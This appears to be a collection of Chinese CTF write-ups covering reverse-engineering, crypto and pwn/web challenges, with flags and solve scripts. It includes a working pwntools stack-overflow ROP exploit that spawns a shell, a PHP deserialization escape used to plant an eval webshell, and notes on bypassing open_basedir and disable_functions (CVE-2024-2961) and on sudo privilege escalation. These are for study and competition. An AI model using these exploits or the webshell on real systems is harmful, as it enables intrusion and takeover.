flag{087834ea-dcbf-488a-a713-e496b3130d40}

cpy

[题目writeup]:

点击下载题文件

ida根据字符串定位check函数,attach后动调

看到长度判断,确定flag长度为40

创建了两个数组,一个长度为5,一个为4

从内存中取出对应的值(注意python虚拟机中每32bit只存放30bit,取出来的数得自行转换一下)

1
2
[0xfbbc7f84591ff393, 0x360c751ee6bd9abd, 0x60854fc80d82350a, 0x139692ebf3ee3c4f, 0x8571b17650a42bd4]
[0xf656460d, 0xda144260, 0xeef1c943, 0xe4390f66]

将输入转化成ascii数组

用int.from_bytes将ascii数组转化成八字节的数组

然后是加密过程,遍历上面的八字节数组

右移62位,相当于取了高2个字节

原数据又移两位,然后&0xffffffffffffffff

根据高2位从四字节数组中取出一个数后和待加密数据进行异或

此时我们可以看出这是个魔改的crc64,加密轮数为32轮,跟到比较可以看到长度为5的数组是密文

还原加密算法

1
2
3
4
5
6
for i in range(32):
idx = data >> 62
data <<= 2
print(hex(data))
data &= 0xffffffffffffffff
data ^= key[idx]

根据crc64的原理,我们可以发现key的低2位是不一样的,根据此解密拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import libnum
def decrypt(datas):
for j in range(len(datas)):
data=datas[j]
for i in range(32):
low=data&0b11
if low==0:
data^=0xda144260
data>>=2
data|=(1<<62)
if low==3:
data ^= 0xeef1c943
data >>= 2
data |= (2 << 62)
if low==1:
data ^= 0xf656460d
data >>= 2
data |= (0 << 62)
if low==2:
data ^= 0xe4390f66
data >>= 2
data |= (3 << 62)
datas[j]=data
return datas
enc = [0xfbbc7f84591ff393, 0x360c751ee6bd9abd, 0x60854fc80d82350a, 0x139692ebf3ee3c4f, 0x8571b17650a42bd4]
flag=decrypt(enc)
for i in flag:
print(libnum.n2s(i).decode()[::-1],end="")

flag{131d48c0-b255-e996-ae74-bc43426ea6}

easy_http

[题目writeup]:

点击下载题文件

选手首先需要逆向得到数据格式。

通过部分逆向的源码或者猜测,判断出主函数通过fork函数来不断产生子进程,并在子进程上进行各种操作

若选手没有注意到操作发生在子进程,则可能误认为考察点在于堆上的UAF;而子进程相互隔离,因此不可能通过堆上来进行利用。

构造好简易http数据包,要求如下:

  • Host
  • Content
  • Content-Length

此外,每个参数还具有不同的要求,包括最大值等。

而校验时,错误使用了&&||

1
2
3
4
if (!valid_host && !valid_length && !valid_content)
{
return 0;
}

导致只要三个属性中有一个满足要求即可。

又:

1
memcpy(real_content, content, length);

因此合理控制content-lengthcontent,有一个几乎无限制的栈溢出。

随后,通过校验后,有如下几个路由,代表几个不同的功能:

  • show
  • add
  • delete
  • edit

里面存在UAF,但无法利用。

选手需要排除干扰,通过多次栈溢出来获得shell

因此,构造两个数据包,第一个泄露canary,第二个rop拿下shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

filename = './pwn'
context.arch='amd64'
context.log_level = "debug"
context.terminal = ['tmux', 'neww']
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
sh = process(filename)
else:
sh = remote('localhost', 9999)

def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid+2, params)
pause()

def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)

# debug("")

template = '''POST /{} HTTP/1.1\r
Host: www.baidu.com\r
User-Agent: Haha\r
Content-Length: {}\r
Content: {}\r
'''
payload = template.format("show", 0x109, 'a'*0x109)
sh.send(payload)

sh.recvuntil(b'a'*0x109)
canary = u64(sh.recv(7).rjust(8, b'\x00'))
leak_info('canary', canary)

pop_5 = 0x40a9d7
pop_rdi = 0x40296f
pop_rsi = 0x40a9de
pop_rdx_2 = 0x4a4c4b
pop_rax = 0x459227
syscall = 0x422fe6
pop_rsp = 0x402dce
leave_ret = 0x401b01
ret = 0x40101a
bss = 0x4E8700

chain = b'a'*0x108 + p64(canary) + p64(0xdeadbeaf)
chain += p64(pop_5) + (b'a'*0x15 + b'/add\x00').ljust(0x28, b'a')
chain += p64(pop_rdi) + p64(0)
chain += p64(pop_rsi) + p64(bss)
chain += p64(pop_rdx_2) + p64(0x100)*2
chain += p64(pop_rax) + p64(0)
chain += p64(syscall)
chain += p64(pop_rax) + p64(59)
chain += p64(pop_rdi) + p64(bss)
chain += p64(pop_rsi) + p64(0)
chain += p64(pop_rdx_2) + p64(0)*2
chain += p64(syscall)

template = '''POST /{} HTTP/1.1\r
Host: www.baidu.com\r
User-Agent: Haha\r
Content-Length: {}\r
Content: '''

chain = chain
payload = template.format("add", len(chain)).encode('utf-8')
payload += chain + b'\r\n'

sh.send(payload)

sh.send('/bin/sh\x00')

sh.interactive()

b0okshelf

[题目writeup]:

发现备份文件

通过 robots.txt 文件,我们发现了一个 backup.zip 文件。robots.txt 是一个用于告诉搜索引擎哪些页面不应被抓取的文件,但有时会泄露一些敏感信息。下载 backup.zip 后,我们可以获取源码。

分析源码

源码显示项目使用了 PHP 的 serialize 来存储数据。serialize 函数将 PHP 变量转换为可存储或传输的字符串,但如果不安全地使用,可能会导致反序列化漏洞。

1
2
3
4
5
file_put_contents('books/' . $book->id . '.info', waf(serialize($book)));
function waf($data)
{
return str_replace("'", "\\'", $data);
}

由于对序列化后的内容进行过滤, 导致会存在字符增多的情况下的字符逃逸.

我们可以尝试逃逸掉 Reader 中的路径, 从而使其能够变成任意路径

利用字符逃逸漏洞

字符逃逸漏洞允许我们构造一个 payload 来覆盖路径,从而实现任意文件写入, 我们可以写入一句话木马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

class Book
{
public $id;
public $title;
public $author;
public $summary;
public $reader;
}

class Reader
{
public function __construct($location)
{
$this->location = $location;
}

public function getLocation()
{
return $this->location;
}
private $location;
public function getContent()
{
return file_get_contents($this->location);
}
public function setContent($content)
{
file_put_contents($this->location, $content);
}
}

$book = new Book();
$book->id = 'kengwang_aura';
$book->title = 'test';
$book->author = 'test';
$partA = '";s:6:"reader";O:6:"Reader":1:{s:16:"';
$partB = 'Reader';
$partC = 'location";s:14:"books/shel.php";}};';
$payload = $partA . "\x00" . $partB . "\x00" . $partC;
$length = strlen($partA) + strlen($partB) + strlen($partC) + 2;
echo "[+] Payload length: " . $length . "\n";
$book->summary = str_repeat('\'', $length) . $payload;
$book->reader = new Reader('books/' . 'abc');
function waf($data)
{
return str_replace("'", "\\'", $data);
}
echo "[+] Summary: ";
echo urlencode($book->summary);
$res = waf(serialize($book));
echo "\n[+] Serialized payload: ";
echo base64_encode($res);
echo "\n";
$newBook = unserialize($res);
echo "[+] Location: ";
echo $newBook->reader->getLocation();

注意这里的 private 其实我们可以不用封装到 \x00 里面的 (7.2+), 为了保险还是这么写了

写入一句话木马

update.php 中,我们发现了 file_put_contents 函数。file_put_contents 可以将数据写入文件,我们可以利用它来写入一句话木马。

我们访问 update.php 将内容改为

1
<?php eval($_POST[0]);

绕过安全限制

写入木马后,通过蚁剑连接发现存在 disable_functions,这是 PHP 的一个配置选项,用于禁用某些函数。通过 phpinfo,我们还发现存在 open_basedir 限制,open_basedir 用于限制 PHP 只能访问指定目录。

我们可以通过 mkdirchdir 函数来绕过 open_basedir 限制。mkdir 创建目录,chdir 改变当前目录,通过这些操作,我们可以访问受限制的目录。详见 https://xz.aliyun.com/t/10070#toc-12

对于 disable_functions,蚁剑的一键绕过 disabled_function 已全部无法使用,需要手动绕过。我们使用 CN-EXT (CVE-2024-2961) 来绕过限制并执行远程代码执行(RCE),最终反弹 shell。

提权

反弹 shell 后,为了提升交互性以便使用 sudo 提权,我们通过 sudo -l 发现 date 命令可以无密码执行。sudo 命令允许用户以超级用户权限执行命令,sudo -l 列出当前用户可以执行的命令。

最后,通过 sudo date -f /flag 读取 flag。date 命令通常用于显示或设置系统日期和时间,但在这里我们利用它读取文件内容。

mygo

[题目writeup]:

点击下载题文件

根据字符串定位到 sub_140001B70 为主函数

正常接收30位输入

调试可知 对输入进行了每位xor index,倒序,每位xor len-1-index,倒序

易知xor和xor抵消,倒序与倒序抵消,即相当于没有对输入做操作

全局变量,先xor当前字节,再乘本身

全局变量,先xor当前字节的下一个字节,再乘本身

注意因为类型原因,乘以该大数后被截断

相当于一次处理两个字节

比较enc和加密后的输入

同样是每两字节比较

注意比较顺序,导致需要倒序enc

即该题目实现了一个hash算法,因为全局变量导致前后位相关,因为逻辑代码写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import string


a = string.printable


def solve2(hash, check):
for i1 in a:
for i2 in a:
input = i1 + i2

def myhash(s: str) -> str:
t1 = 0x100000001B3
t2 = hash
for byte in s.encode():
t2 ^= byte
t2 = (t2 * t1) & 0xFFFFFFFFFFFFFFFF
return f"{t2:016x}", t2 # 用0 padding到16位

res, HASH = myhash(input)
if res == check:
return input, HASH


enc = [
"08985807b541d18f",
"d5f2d079088c0b17",
"2282110ea3670872",
"23826d0a97ceea45",
"5feb92ec9da6ccc6",
"418727fdc0a2295b",
"bf325bb7f6fb98b9",
"0669076ed7c9bfb3",
"d905a4abf3eb7f22",
"5f5741aae1954e6c",
"8f70569021c638dd",
"e77f76949e5db63a",
"7f98a3f5e1b1e340",
"9b7cd1e5a8dea236",
"d3c21142b990e7b8",
]

hash = 0xCBF29CE484222325
input = ""
for c in enc:
res = solve2(hash, c)
input += res[0]
hash = res[1]
print(input)

flag{BanGDream!ItsMyRust!!!!!}

factor

[题目writeup]:

点击下载题文件

那么有

其中为小量,我们可以打copper得到分解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import itertools
from Crypto.Util.number import *
import gmpy2
from tqdm import trange

def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []

n = 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227
R.<x,y,z>=Zmod(n)[]
n_ = int(gmpy2.iroot(n, 3)[0])
t = 2 ^ 3
P = []
for i in trange(t):
for j in range(t):
for k in range(t):
f = (n_ + t * x + i) * (n_ + t * y + j) * (n_ + t * z + k)
s = 342
roots = small_roots(f, [2 ^ s, 2 ^ s, 2 ^ s], m=1, d=3)
if roots:
a, b, c = [int(ii) * t + jj if int(ii).bit_length() <= 512 else int(n - ii) * t - jj for ii, jj in zip(roots[0], [i, j, k])]
for l in [a, b, c]:
p = n_ + l
if n % p == 0:
P.append(p)
p = n_ - l
if n % p == 0:
P.append(p)
p, q, r = set(P)
d = inverse(65537, (p - 1) * (q - 1) * (r - 1))
c = 2998195560453407057321637509862236387961676411996988529185696118404592349869917006166370346762261303282478779647282039317061146533808487789458703169149689179547543732935053220010550004328207373171271534689897340156346458951776319267981966893926724550629182100766890856964207263709029611781806548130358294543573874132473259788387939849997550651614987993962540192023207354839106090274252125961835070701748643163379053118598595995782448140944376681636633592442158453965800439960134688017496184195454406927204485213436540382637720118180670197194949275760000729877093621741313147190401896114633643891311672542703928421032698499968701052818985292683628072129271790220674145955527935027879112279336148316425115255710066132502392447843608711463775710558880259205308541126041959858947252063815158749021817255637836170676726466347847422352280599210078359786387419424076245960344657767332883964636288493649066530215094453490169688507988
print(long_to_bytes(pow(c, d, n)))

获得flag:

flag{24e33eda-f57c-42da-92c5-e0b39414cded}

skip

[题目writeup]:

点击下载题文件

jadx打开apk开始分析

我们可以看到有checkusrname和checkpass分别对username和password进行校验,其中username作为密钥加密password,所以我们先看username,checkusrname在native层

ida打开so文件

可以看出是des加密,魔改了s盒

拿出密文,密钥和s盒解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*--------------------------------------------------------------------------------------------------------------*/
typedef unsigned char ubyte;
/*--------------------------------------------------------------------------------------------------------------*/
#define KEY_LEN 8
typedef ubyte key_t[KEY_LEN];
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte PC1[] = {
57, 49, 41, 33, 25, 17, 9,
1, 58, 50, 42, 34, 26, 18,
10, 2, 59, 51, 43, 35, 27,
19, 11, 3, 60, 52, 44, 36,
63, 55, 47, 39, 31, 23, 15,
7, 62, 54, 46, 38, 30, 22,
14, 6, 61, 53, 45, 37, 29,
21, 13, 5, 28, 20, 12, 4
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte PC2[] = {
14, 17, 11, 24, 1, 5,
3, 28, 15, 6, 21, 10,
23, 19, 12, 4, 26, 8,
16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55,
30, 40, 51, 45, 33, 48,
44, 49, 39, 56, 34, 53,
46, 42, 50, 36, 29, 32
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte IP[] = {
58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6,
64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte E[] = {
32, 1, 2, 3, 4, 5,
4, 5, 6, 7, 8, 9,
8, 9, 10, 11, 12, 13,
12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21,
20, 21, 22, 23, 24, 25,
24, 25, 26, 27, 28, 29,
28, 29, 30, 31, 32, 1
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte S[][64] = {
{
6, 6, 4, 9, 6, 7, 4, 11, 0, 2, 8, 12, 10, 8, 0, 1, 12, 6, 9, 9, 3, 7, 11, 5, 4, 13, 1, 3, 15, 8, 10, 13, 5, 13, 10, 2, 12, 0, 14, 13, 11, 14, 5, 3, 2, 8, 14, 3, 14, 4, 11, 7, 15, 5, 1, 7, 1, 12, 9, 0, 10, 2, 15, 15
},
{
10, 2, 4, 8, 12, 15, 3, 10, 4, 8, 3, 4, 14, 5, 7, 15, 15, 8, 0, 7, 9, 4, 13, 0, 5, 8, 11, 14, 6, 2, 2, 6, 13, 9, 2, 3, 10, 7, 1, 9, 5, 15, 1, 11, 9, 14, 13, 11, 7, 12, 12, 5, 1, 10, 14, 6, 6, 0, 0, 12, 3, 1, 11, 13
},
{
10, 0, 0, 6, 5, 13, 9, 14, 3, 1, 1, 8, 13, 9, 8, 15, 12, 7, 1, 3, 15, 7, 11, 7, 5, 10, 3, 10, 2, 6, 8, 10, 9, 3, 2, 14, 14, 11, 11, 2, 13, 15, 7, 6, 8, 4, 4, 12, 0, 1, 14, 5, 12, 12, 4, 2, 6, 9, 4, 5, 11, 15, 0, 13
},
{
6, 12, 1, 11, 14, 0, 4, 4, 4, 2, 15, 3, 3, 1, 1, 2, 8, 0, 9, 6, 0, 8, 13, 2, 12, 3, 3, 10, 7, 15, 12, 8, 15, 14, 7, 4, 6, 14, 1, 7, 7, 9, 6, 9, 15, 5, 11, 0, 10, 13, 13, 9, 13, 5, 5, 11, 12, 11, 8, 2, 5, 10, 14, 10
},
{
5, 5, 7, 9, 9, 13, 0, 5, 6, 11, 12, 5, 4, 15, 0, 12, 11, 13, 13, 10, 8, 2, 13, 3, 3, 14, 14, 6, 9, 3, 0, 7, 10, 9, 7, 8, 10, 2, 1, 0, 6, 14, 15, 8, 14, 15, 2, 1, 7, 6, 15, 10, 3, 12, 12, 4, 1, 8, 4, 11, 2, 1, 11, 4
},
{
14, 6, 14, 6, 0, 13, 9, 5, 5, 11, 0, 7, 2, 3, 0, 0, 3, 13, 8, 2, 15, 9, 1, 7, 9, 1, 12, 4, 10, 9, 8, 11, 4, 1, 6, 15, 12, 14, 11, 2, 5, 14, 13, 4, 3, 7, 1, 15, 11, 10, 3, 7, 8, 8, 15, 5, 12, 12, 10, 10, 4, 6, 13, 2
},
{
15, 14, 10, 3, 3, 15, 12, 14, 0, 2, 14, 12, 8, 0, 5, 6, 14, 2, 0, 1, 8, 1, 13, 4, 11, 4, 7, 11, 9, 15, 1, 12, 5, 0, 7, 13, 6, 10, 6, 12, 11, 6, 13, 3, 8, 4, 9, 9, 13, 4, 2, 5, 1, 7, 9, 5, 7, 2, 8, 15, 3, 10, 10, 11
},
{
4, 7, 4, 15, 0, 5, 9, 14, 8, 11, 13, 0, 7, 3, 1, 2, 1, 6, 7, 5, 12, 4, 13, 13, 8, 1, 5, 12, 11, 9, 5, 11, 6, 10, 3, 1, 15, 14, 14, 15, 9, 9, 15, 2, 12, 12, 14, 0, 4, 8, 6, 3, 11, 7, 3, 6, 10, 2, 0, 2, 8, 10, 10, 13
}
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte P[] = {
16, 7, 20, 21,
29, 12, 28, 17,
1, 15, 23, 26,
5, 18, 31, 10,
2, 8, 24, 14,
32, 27, 3, 9,
19, 13, 30, 6,
22, 11, 4, 25
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte IP2[] = {
40, 8, 48, 16, 56, 24, 64, 32,
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte SHIFTS[] = {
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
};
/*--------------------------------------------------------------------------------------------------------------*/
typedef struct {
ubyte *data;
int len;
} String;
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Transform a single nibble into a hex character
*
* in: a value < 0x10
*
* returns: the character that represents the nibble
*/
static char toHex(ubyte in) {
if (0x00 <= in && in < 0x0A) {
return '0' + in;
}
if (0x0A <= in && in <= 0x0F) {
return 'A' + in - 0x0A;
}
return 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Convert an array of bytes into a string
*
* ptr: the array of bytes
* len: the number of bytes
* out: a buffer allocated by the caller with enough space for 2*len+1 characters
*/
static void printBytes(const ubyte *ptr, int len, char *out) {
while (len-- > 0) {
*out++ = toHex(*ptr >> 4);
*out++ = toHex(*ptr & 0x0F);

ptr++;
}
*out = 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Gets the value of a bit in an array of bytes
*
* src: the array of bytes to index
* index: the desired bit to test the value of
*
* returns: the bit at the specified position in the array
*/
static int peekBit(const ubyte *src, int index) {
int cell = index / 8;
int bit = 7 - index % 8;
return (src[cell] & (1 << bit)) != 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Sets the value of a bit in an array of bytes
*
* dst: the array of bits to set a bit in
* index: the position of the bit to set
* value: the value for the bit to set
*/
static void pokeBit(ubyte *dst, int index, int value) {
int cell = index / 8;
int bit = 7 - index % 8;
if (value == 0) {
dst[cell] &= ~(1 << bit);
}
else {
dst[cell] |= (1 << bit);
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Transforms one array of bytes by shifting the bits the specified number of positions
*
* src: the array to shift bits from
* len: the length of the src array
* times: the number of positions that the bits should be shifted
* dst: a bytes array allocated by the caller to store the shifted values
*/
static void shiftLeft(const ubyte *src, int len, int times, ubyte *dst) {
int i, t;
for (i = 0; i <= len; ++i) {
pokeBit(dst, i, peekBit(src, i));
}
for (t = 1; t <= times; ++t) {
int temp = peekBit(dst, 0);
for (i = 1; i <= len; ++i) {
pokeBit(dst, i - 1, peekBit(dst, i));
}
pokeBit(dst, len - 1, temp);
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Calculates the sub keys to be used in processing the messages
*
* key: the array of bytes representing the key
* ks: the subkeys that have been allocated by the caller
*/
typedef ubyte subkey_t[17][6]; /* 17 sets of 48 bits */
static void getSubKeys(const key_t key, subkey_t ks) {
ubyte c[17][7]; /* 56 bits */
ubyte d[17][4]; /* 28 bits */
ubyte kp[7];
int i, j;

/* intialize */
memset(c, 0, sizeof(c));
memset(d, 0, sizeof(d));
memset(ks, 0, sizeof(subkey_t));

/* permute 'key' using table PC1 */
for (i = 0; i < 56; ++i) {
pokeBit(kp, i, peekBit(key, PC1[i] - 1));
}

/* split 'kp' in half and process the resulting series of 'c' and 'd' */
for (i = 0; i < 28; ++i) {
pokeBit(c[0], i, peekBit(kp, i));
pokeBit(d[0], i, peekBit(kp, i + 28));
}

/* shift the components of c and d */
for (i = 1; i < 17; ++i) {
shiftLeft(c[i - 1], 28, SHIFTS[i - 1], c[i]);
shiftLeft(d[i - 1], 28, SHIFTS[i - 1], d[i]);
}

/* merge 'd' into 'c' */
for (i = 1; i < 17; ++i) {
for (j = 28; j < 56; ++j) {
pokeBit(c[i], j, peekBit(d[i], j - 28));
}
}

/* form the sub-keys and store them in 'ks'
* permute 'c' using table PC2 */
for (i = 1; i < 17; ++i) {
for (j = 0; j < 48; ++j) {
pokeBit(ks[i], j, peekBit(c[i], PC2[j] - 1));
}
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Function used in processing the messages
*
* r: an array of bytes to be processed
* ks: one of the subkeys to be used for processing
* sp: output from the processing
*/
static void f(ubyte *r, ubyte *ks, ubyte *sp) {
ubyte er[6]; /* 48 bits */
ubyte sr[4]; /* 32 bits */
int i;

/* initialize */
memset(er, 0, sizeof(er));
memset(sr, 0, sizeof(sr));

/* permute 'r' using table E */
for (i = 0; i < 48; ++i) {
pokeBit(er, i, peekBit(r, E[i] - 1));
}

/* xor 'er' with 'ks' and store back into 'er' */
for (i = 0; i < 6; ++i) {
er[i] ^= ks[i];
}

/* process 'er' six bits at a time and store resulting four bits in 'sr' */
for (i = 0; i < 8; ++i) {
int j = i * 6;
int b[6];
int k, row, col, m, n;

for (k = 0; k < 6; ++k) {
b[k] = peekBit(er, j + k) != 0 ? 1 : 0;
}

row = 2 * b[0] + b[5];
col = 8 * b[1] + 4 * b[2] + 2 * b[3] + b[4];
m = S[i][row * 16 + col]; /* apply table s */
n = 1;

while (m > 0) {
int p = m % 2;
pokeBit(sr, (i + 1) * 4 - n, p == 1);
m /= 2;
n++;
}
}

/* permute sr using table P */
for (i = 0; i < 32; ++i) {
pokeBit(sp, i, peekBit(sr, P[i] - 1));
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Processing of block of the message
*
* message: an 8 byte block from the message
* ks: the subkeys to use in processing
* ep: space for an encoded 8 byte block allocated by the caller
*/
static void processMessage(const ubyte *message, subkey_t ks, ubyte *ep) {
ubyte left[17][4]; /* 32 bits */
ubyte right[17][4]; /* 32 bits */
ubyte mp[8]; /* 64 bits */
ubyte e[8]; /* 64 bits */
int i, j;

/* permute 'message' using table IP */
for (i = 0; i < 64; ++i) {
pokeBit(mp, i, peekBit(message, IP[i] - 1));
}

/* split 'mp' in half and process the resulting series of 'l' and 'r */
for (i = 0; i < 32; ++i) {
pokeBit(left[0], i, peekBit(mp, i));
pokeBit(right[0], i, peekBit(mp, i + 32));
}
for (i = 1; i < 17; ++i) {
ubyte fs[4]; /* 32 bits */

memcpy(left[i], right[i - 1], 4);
f(right[i - 1], ks[i], fs);
for (j = 0; j < 4; ++j) {
left[i - 1][j] ^= fs[j];
}
memcpy(right[i], left[i - 1], 4);
}

/* amalgamate r[16] and l[16] (in that order) into 'e' */
for (i = 0; i < 32; ++i) {
pokeBit(e, i, peekBit(right[16], i));
}
for (i = 32; i < 64; ++i) {
pokeBit(e, i, peekBit(left[16], i - 32));
}

/* permute 'e' using table IP2 ad return result as a hex string */
for (i = 0; i < 64; ++i) {
pokeBit(ep, i, peekBit(e, IP2[i] - 1));
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Encrypts a message using DES
*
* key: the key to use to encrypt the message
* message: the message to be encrypted
* len: the length of the message
*
* returns: a paring of dynamically allocated memory for the encoded message,
* and the length of the encoded message.
* the caller will need to free the memory after use.
*/
String encrypt(const key_t key, const ubyte *message, int len) {
String result = { 0, 0 };
subkey_t ks;
ubyte padByte;
int i;

getSubKeys(key, ks);

padByte = 8 - len % 8;
result.len = len + padByte;
result.data = (ubyte*)malloc(result.len);
memcpy(result.data, message, len);
memset(&result.data[len], padByte, padByte);

for (i = 0; i < result.len; i += 8) {
processMessage(&result.data[i], ks, &result.data[i]);
}

return result;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Decrypts a message using DES
*
* key: the key to use to decrypt the message
* message: the message to be decrypted
* len: the length of the message
*
* returns: a paring of dynamically allocated memory for the decoded message,
* and the length of the decoded message.
* the caller will need to free the memory after use.
*/
String decrypt(const key_t key, const ubyte *message, int len) {
String result = { 0, 0 };
subkey_t ks;
int i, j;
ubyte padByte;

getSubKeys(key, ks);
/* reverse the subkeys */
for (i = 1; i < 9; ++i) {
for (j = 0; j < 6; ++j) {
ubyte temp = ks[i][j];
ks[i][j] = ks[17 - i][j];
ks[17 - i][j] = temp;
}
}

result.data = (ubyte*)malloc(len);
memcpy(result.data, message, len);
result.len = len;
for (i = 0; i < result.len; i += 8) {
processMessage(&result.data[i], ks, &result.data[i]);
}

padByte = result.data[len - 1];
result.len -= padByte;
return result;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Convienience method for showing the round trip processing of a message
*/
void driver(const key_t key, const ubyte *message, int len) {
String encoded, decoded;
char buffer[128];

printBytes(key, KEY_LEN, buffer);
printf("Key : %s\n", buffer);

printBytes(message, len, buffer);
printf("Message : %s\n", buffer);

encoded = encrypt(key, message, len);
printBytes(encoded.data, encoded.len, buffer);
printf("Encoded : %s\n", buffer);

decoded = decrypt(key, encoded.data, encoded.len);
printBytes(decoded.data, decoded.len, buffer);
printf("Decoded : %s\n\n", buffer);

/* release allocated memory */
if (encoded.len > 0) {
free(encoded.data);
encoded.data = 0;
